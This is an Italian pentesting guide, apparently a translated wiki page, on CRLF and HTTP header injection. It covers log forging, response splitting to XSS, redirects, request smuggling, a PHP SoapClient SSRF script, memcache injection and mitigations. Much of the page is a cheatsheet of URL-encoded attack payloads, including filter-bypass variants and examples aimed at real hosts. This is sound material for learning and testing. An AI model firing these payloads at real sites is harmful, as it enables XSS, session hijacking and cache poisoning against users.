CRLF (%0D%0A) Injection

Reading time: 13 minutes

CRLF

Il Carriage Return (CR) e il Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per denotare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra le intestazioni HTTP e il corpo di una risposta. Questi caratteri sono impiegati universalmente nelle comunicazioni HTTP/1.1 attraverso vari tipi di server web, come Apache e Microsoft IIS.

CRLF Injection Vulnerability

L'iniezione CRLF comporta l'inserimento di caratteri CR e LF nell'input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendoli interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a HTTP response splitting e ad altre attività malevole.

Example: CRLF Injection in a Log File

Example from here

Considera un file di log in un pannello di amministrazione che segue il formato: IP - Time - Visited Path. Un'entrata tipica potrebbe apparire così:

123.123.123.123 - 08:15 - /index.php?page=home

Un attaccante può sfruttare un'iniezione CRLF per manipolare questo log. Iniettando caratteri CRLF nella richiesta HTTP, l'attaccante può alterare il flusso di output e fabbricare voci di log. Ad esempio, una sequenza iniettata potrebbe trasformare la voce di log in:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Qui, %0d e %0a rappresentano le forme codificate in URL di CR e LF. Dopo l'attacco, il log mostrerebbe in modo fuorviante:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

L'attaccante quindi maschera le proprie attività malevole facendole apparire come se il localhost (un'entità tipicamente fidata all'interno dell'ambiente server) avesse eseguito le azioni. Il server interpreta la parte della query che inizia con %0d%0a come un singolo parametro, mentre il parametro restrictedaction viene analizzato come un altro input separato. La query manipolata imita efficacemente un comando amministrativo legittimo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descrizione

HTTP Response Splitting è una vulnerabilità di sicurezza che si verifica quando un attaccante sfrutta la struttura delle risposte HTTP. Questa struttura separa le intestazioni dal corpo utilizzando una sequenza di caratteri specifica, Carriage Return (CR) seguito da Line Feed (LF), collettivamente denominata CRLF. Se un attaccante riesce a inserire una sequenza CRLF in un'intestazione di risposta, può manipolare efficacemente il contenuto della risposta successiva. Questo tipo di manipolazione può portare a gravi problemi di sicurezza, in particolare Cross-site Scripting (XSS).

XSS attraverso HTTP Response Splitting

1. L'applicazione imposta un'intestazione personalizzata come questa: X-Custom-Header: UserInput
2. L'applicazione recupera il valore per UserInput da un parametro di query, ad esempio "user_input". In scenari privi di una corretta validazione e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da contenuto malevolo.
3. Un attaccante crea un URL con un 'user_input' appositamente creato: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In questo URL, %0d%0a%0d%0a è la forma codificata in URL di CRLFCRLF. Inganna il server facendogli inserire una sequenza CRLF, costringendo il server a trattare la parte successiva come il corpo della risposta.

4. Il server riflette l'input dell'attaccante nell'intestazione di risposta, portando a una struttura di risposta non intenzionata in cui lo script malevolo viene interpretato dal browser come parte del corpo della risposta.

Un esempio di HTTP Response Splitting che porta a un Redirect

Da https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser a:

/%0d%0aLocation:%20http://myweb.com

E il server risponde con l'intestazione:

Location: http://myweb.com

Altro esempio: (da https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Nel percorso URL

Puoi inviare il payload all'interno del percorso URL per controllare la risposta dal server (esempio da qui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Controlla altri esempi in:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

Iniezione di Header HTTP

L'iniezione di header HTTP, spesso sfruttata attraverso l'iniezione CRLF (Carriage Return e Line Feed), consente agli attaccanti di inserire header HTTP. Questo può compromettere meccanismi di sicurezza come i filtri XSS (Cross-Site Scripting) o il SOP (Same-Origin Policy), portando potenzialmente ad accessi non autorizzati a dati sensibili, come i token CSRF, o alla manipolazione delle sessioni utente tramite l'inserimento di cookie.

Sfruttare CORS tramite Iniezione di Header HTTP

Un attaccante può iniettare header HTTP per abilitare CORS (Cross-Origin Resource Sharing), eludendo le restrizioni imposte dal SOP. Questa violazione consente a script provenienti da origini malevole di interagire con risorse di un'origine diversa, accedendo potenzialmente a dati protetti.

SSRF e Iniezione di Richiesta HTTP tramite CRLF

L'iniezione CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio notevole di questo è la vulnerabilità nella classe SoapClient di PHP, specificamente all'interno del parametro user_agent. Manipolando questo parametro, un attaccante può inserire header e contenuti del corpo aggiuntivi, o persino iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio PHP che dimostra questo sfruttamento:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Per ulteriori informazioni su questa tecnica e sui potenziali problemi controlla la fonte originale.

Puoi iniettare intestazioni essenziali per garantire che il back-end mantenga la connessione aperta dopo aver risposto alla richiesta iniziale:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge tipicamente HTTP request smuggling, una tecnica in cui intestazioni o elementi del corpo extra aggiunti dal server dopo l'iniezione possono portare a vari exploit di sicurezza.

Sfruttamento:

1. Iniezione di Prefisso Maligno: Questo metodo implica il avvelenamento della richiesta del prossimo utente o di una cache web specificando un prefisso maligno. Un esempio di questo è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Creazione di un Prefisso per il Avvelenamento della Coda di Risposta: Questo approccio implica la creazione di un prefisso che, quando combinato con spazzatura finale, forma una seconda richiesta completa. Questo può attivare l'avvelenamento della coda di risposta. Un esempio è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Iniezione di Memcache

Memcache è un key-value store che utilizza un protocollo in chiaro. Maggiori informazioni in:

11211 - Pentesting Memcache

Per informazioni complete leggi il documento originale

Se una piattaforma sta prendendo dati da una richiesta HTTP e utilizzandoli senza sanitizzazione per effettuare richieste a un server memcache, un attaccante potrebbe abusare di questo comportamento per iniettare nuovi comandi memcache.

Ad esempio, nella vulnerabilità scoperta originariamente, le chiavi della cache venivano utilizzate per restituire l'IP e la porta a cui un utente dovrebbe connettersi, e gli attaccanti erano in grado di iniettare comandi memcache che avrebbero avvelenato la cache per inviare i dettagli delle vittime (inclusi nomi utente e password) ai server degli attaccanti:

Inoltre, i ricercatori hanno anche scoperto che potevano desincronizzare le risposte memcache per inviare l'IP e le porte degli attaccanti a utenti di cui l'attaccante non conosceva l'email:

Come Prevenire Iniezioni CRLF / HTTP Header nelle Applicazioni Web

Per mitigare i rischi di CRLF (Carriage Return e Line Feed) o Iniezioni di HTTP Header nelle applicazioni web, si raccomandano le seguenti strategie:

1. Evitare Input Diretti dell'Utente negli Intestazioni di Risposta: L'approccio più sicuro è astenersi dall'incorporare input forniti dall'utente direttamente nelle intestazioni di risposta.
2. Codificare Caratteri Speciali: Se evitare input diretti dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica di caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.
3. Aggiornare il Linguaggio di Programmazione: Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Scegli una versione che di per sé non consenta l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare le intestazioni HTTP.

CHEATSHEET

Cheatsheet da qui

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Vulnerabilità recenti (2023 – 2025)

Negli ultimi anni sono stati prodotti diversi bug ad alto impatto di iniezione CRLF/HTTP header in componenti ampiamente utilizzati sia lato server che lato client. Riprodurli e studiarli localmente è un ottimo modo per comprendere i modelli di sfruttamento nel mondo reale.

Questi bug sono importanti perché vengono attivati all'interno del codice a livello di applicazione e non solo al confine del server web. Qualsiasi componente interno che esegue richieste HTTP o imposta intestazioni di risposta deve quindi applicare un filtro CR/LF.

Bypass avanzati di Unicode / Caratteri di controllo

Le moderne stack WAF/rewriter spesso rimuovono i caratteri letterali \r/\n ma dimenticano altri caratteri che molti back-end trattano come terminatori di riga. Quando CRLF è filtrato, prova:

• %E2%80%A8 (U+2028 – SEPARATORE DI RIGA)
• %E2%80%A9 (U+2029 – SEPARATORE DI PARAGRAFO)
• %C2%85 (U+0085 – PROSSIMA RIGA)

Al alcuni framework Java, Python e Go convertono questi in \n durante l'analisi delle intestazioni (vedi la ricerca Praetorian 2023). Combinali con payload classici:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Se il filtro normalizza prima l'UTF-8, il carattere di controllo viene trasformato in un normale a capo e l'intestazione iniettata viene accettata.

Evasione WAF tramite il trucco del Content-Encoding duplicato (2023)

I ricercatori di Praetorian hanno anche dimostrato che iniettando:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

in un'intestazione riflessa, i browser ignoreranno il corpo fornito dal server e renderizzeranno l'HTML fornito dall'attaccante che segue, dando XSS memorizzato anche quando il contenuto dell'applicazione è inattivo. Poiché Content-Encoding: identity è consentito da RFC 9110, molti reverse-proxy lo inoltrano invariato.

Strumenti Automatici

• CRLFsuite – scanner attivo veloce scritto in Go.
• crlfuzz – fuzzer basato su wordlist che supporta payload di newline Unicode.
• crlfix – utility del 2024 che patcha le richieste HTTP generate da programmi Go e può essere utilizzata in modo autonomo per testare servizi interni.

Elenco di Rilevamento Brute-Force

• carlospolop/Auto_Wordlists – crlf.txt

Riferimenti

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/